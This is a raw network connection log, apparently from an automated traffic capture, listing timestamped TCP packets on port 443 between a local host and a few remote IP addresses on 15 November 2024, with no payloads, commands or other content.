Nov 15, 2024 19:39:18.630016088 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:18.630341053 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:18.631932974 CET	49714	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:18.632052898 CET	49714	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:18.632091045 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:18.802479029 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.802838087 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.803108931 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.803128958 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.803765059 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.803771973 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.803850889 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.804228067 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.804238081 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.804742098 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.804745913 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.805041075 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.805083990 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.805536985 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.805548906 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.850049973 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.854026079 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.854075909 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.854672909 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.854681015 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.863681078 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.864692926 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.864731073 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.865292072 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.865304947 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.947277069 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.947470903 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.947568893 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.947835922 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.947904110 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.947976112 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.947987080 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.948030949 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.948054075 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.948168993 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.948185921 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.948199987 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.948206902 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.949788094 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.949806929 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.949841022 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.949846983 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.950867891 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.950915098 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.950947046 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.950963974 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.956631899 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.956661940 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.956726074 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.971481085 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.971508026 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.971606970 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.972038984 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.972053051 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.972299099 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.972316027 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.976500988 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.976511002 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.976577044 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.000600100 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.000761032 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.000871897 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.001307011 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.001456976 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.001507044 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.016056061 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.016083956 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.020425081 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.020425081 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.020458937 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.020474911 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.045474052 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.045527935 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.045545101 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.045552969 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.131958961 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.132025003 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.132193089 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.137650967 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.137671947 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.138890028 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.138926029 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.139009953 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.139317989 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.139343977 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.327941895 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:19.328072071 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:19.328141928 CET	49714	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:19.394674063 CET	49671	443	192.168.2.7	204.79.197.203
Nov 15, 2024 19:39:19.562783003 CET	49714	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:19.562822104 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:19.695198059 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.720901966 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.738337994 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.760072947 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.769593954 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.800815105 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.806315899 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.806334972 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.807224989 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.807229996 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.807595015 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.807609081 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.808163881 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.808168888 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.808460951 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.808465958 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.809119940 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.809124947 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.858768940 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.863281965 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.870701075 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.870723009 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.871416092 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.871423006 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.872366905 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.872376919 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.872927904 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.872934103 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.948957920 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.948972940 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.949009895 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.949043036 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.949059963 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.949089050 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.949094057 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.949206114 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.949246883 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.950992107 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.951009035 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.951019049 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.951024055 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.952404976 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.952429056 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.952440977 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.952450991 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.955511093 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.955517054 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.955528021 CET	49722	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.955532074 CET	443	49722	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.961122036 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.961160898 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.961235046 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.968394995 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.968432903 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.968499899 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.969544888 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.969558954 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.969636917 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.969636917 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.969659090 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.971219063 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.971235991 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.971479893 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.971498013 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.998289108 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.998393059 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.998442888 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:19.998949051 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.999078989 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:19.999125957 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.005579948 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.005580902 CET	49723	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.005618095 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.005630970 CET	443	49723	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.006647110 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.006664038 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.006675959 CET	49724	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.006681919 CET	443	49724	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.011353016 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.011410952 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.011471987 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.012065887 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.012084007 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.013892889 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.013914108 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.013978958 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.014225006 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.014235973 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.437788010 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:20.437844992 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:20.437916040 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:20.438232899 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:20.438251972 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:20.550904036 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 19:39:20.697455883 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.698990107 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.699007988 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.699548006 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.699553967 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.712182999 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.713890076 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.713902950 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.714410067 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.714416981 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.716485977 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.723186016 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.723197937 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.723618984 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.723624945 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.751998901 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.752846003 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.752873898 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.753299952 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.753304958 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.757781029 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.758675098 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.758688927 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.759031057 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.759037018 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.825918913 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.826340914 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.826468945 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.826909065 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.826934099 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.826944113 CET	49727	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.826950073 CET	443	49727	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.831912994 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.831969023 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.832619905 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.832621098 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.832660913 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.848895073 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.849533081 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.852446079 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.852479935 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.852489948 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.852502108 CET	49725	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.852507114 CET	443	49725	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.853070974 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.853502989 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.854099035 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.854151964 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.854151964 CET	49726	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.854166985 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.854176044 CET	443	49726	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.855477095 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.855525017 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.855664015 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.855808020 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.855825901 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.856180906 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.856225967 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.856291056 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.856384039 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.856396914 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.883294106 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.883362055 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.883518934 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.883550882 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.883573055 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.883584023 CET	49728	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.883589983 CET	443	49728	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.886323929 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.886351109 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.886428118 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.886552095 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.886574984 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.890697956 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.890847921 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.890995979 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.891102076 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.891102076 CET	49729	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.891113043 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.891123056 CET	443	49729	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.893306017 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.893321037 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:20.893393040 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.893523932 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:20.893536091 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.083792925 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.083941936 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.085443020 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.085463047 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.085756063 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.100054979 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.100255966 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.100290060 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.100413084 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.147339106 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.560226917 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.563342094 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.563359022 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.563613892 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.563617945 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.597717047 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.598278999 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.598316908 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.598767996 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.598774910 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.608092070 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.608531952 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.608541965 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.608942986 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.608948946 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.624429941 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.624732018 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.624756098 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.625087023 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.625092030 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.640202045 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.640621901 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.640635014 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.641143084 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.641146898 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.678363085 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.678478003 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.678551912 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.678761959 CET	49730	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.678781986 CET	443	49730	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.688829899 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.688891888 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.689007998 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.689251900 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.689251900 CET	49731	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.689274073 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.689280987 CET	443	49731	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.692636967 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.692667961 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.692778111 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.692878962 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.692887068 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.729645014 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.729823112 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.729890108 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.729928017 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.729943991 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.729965925 CET	49732	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.729973078 CET	443	49732	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.732852936 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.732952118 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.733220100 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.733220100 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.733315945 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.736948013 CET	443	49734	13.107.246.45	192.168.2.7
